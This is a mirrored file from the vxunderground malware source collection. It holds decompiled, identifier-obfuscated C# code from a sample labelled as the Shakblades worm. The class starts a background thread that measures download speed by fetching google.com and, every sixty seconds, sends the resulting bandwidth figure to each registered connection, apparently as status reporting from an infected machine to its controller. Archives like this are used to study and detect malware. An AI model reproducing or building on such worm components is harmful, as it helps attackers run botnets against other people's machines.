mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
74 lines
2.7 KiB
C#
74 lines
2.7 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Ҧ߲๒ʽ໙ୄᴘ.ʤ༲Ṁ
|
|||
|
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Collections.Generic;
|
|||
|
using System.Net;
|
|||
|
using System.Text;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace Ҧ߲๒ʽ໙ୄᴘ
|
|||
|
{
|
|||
|
internal class ʤ\u0F32\u0B7EṀ
|
|||
|
{
|
|||
|
private static Thread ಯཨޠᔹ;
|
|||
|
private static List<\u07F6\u181Fᒸৃ> ڇᜱ\u08DAᑡࣺ\u139F = new List<\u07F6\u181Fᒸৃ>();
|
|||
|
|
|||
|
public static void \u09EBલڄቷóᅭጫ(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Add(_param0);
|
|||
|
|
|||
|
public static void ᅝᯤ็\u0E70\u18AD\u1391ᨼᅬ\u0BDC(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Remove(_param0);
|
|||
|
|
|||
|
public static void оԗสᱢȫ݉()
|
|||
|
{
|
|||
|
ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ = new Thread(new ThreadStart(ʤ\u0F32\u0B7EṀ.ᓘ\u0C78᭖ᬏጂ\u0EE0Ṕܱ));
|
|||
|
ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ.Start();
|
|||
|
}
|
|||
|
|
|||
|
private static void ᓘ\u0C78᭖ᬏጂ\u0EE0Ṕܱ()
|
|||
|
{
|
|||
|
WebClient webClient = new WebClient();
|
|||
|
while (true)
|
|||
|
{
|
|||
|
while (ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count >= 1)
|
|||
|
{
|
|||
|
ʤ\u0F32\u0B7EṀ.ᥞᏕੂᬷ7ວ();
|
|||
|
for (int index = 0; index < ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count; ++index)
|
|||
|
{
|
|||
|
if (index < ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F.Count && ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index] != null && ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index].\u0557)
|
|||
|
ʤ\u0F32\u0B7EṀ.ڇᜱ\u08DAᑡࣺ\u139F[index].ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.\u1F16Ʈᝐ\u0F6Dṡ\u0E85, Encoding.Default.GetBytes(ʤ\u0F32\u0B7EṀ.ᥞᏕੂᬷ7ວ())).ᖣᅸڨฃ());
|
|||
|
}
|
|||
|
Thread.Sleep(TimeSpan.FromSeconds(60.0));
|
|||
|
}
|
|||
|
Thread.Sleep(5000);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public static void ࢪၾᙠஈĊ()
|
|||
|
{
|
|||
|
if (ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ == null)
|
|||
|
return;
|
|||
|
ʤ\u0F32\u0B7EṀ.ಯཨޠᔹ.Abort();
|
|||
|
}
|
|||
|
|
|||
|
private static string ᥞᏕੂᬷ7ວ()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
WebClient webClient = new WebClient();
|
|||
|
double tickCount = (double) Environment.TickCount;
|
|||
|
webClient.DownloadData("http://google.com/");
|
|||
|
double num = Math.Floor((double) Environment.TickCount - tickCount) / 1000.0;
|
|||
|
Math.Round(num, 0);
|
|||
|
return Math.Round(1024.0 / num).ToString() + " KB\\Sec";
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
return "Error";
|
|||
|
}
|
|||
|
}
|
|||
|
}
|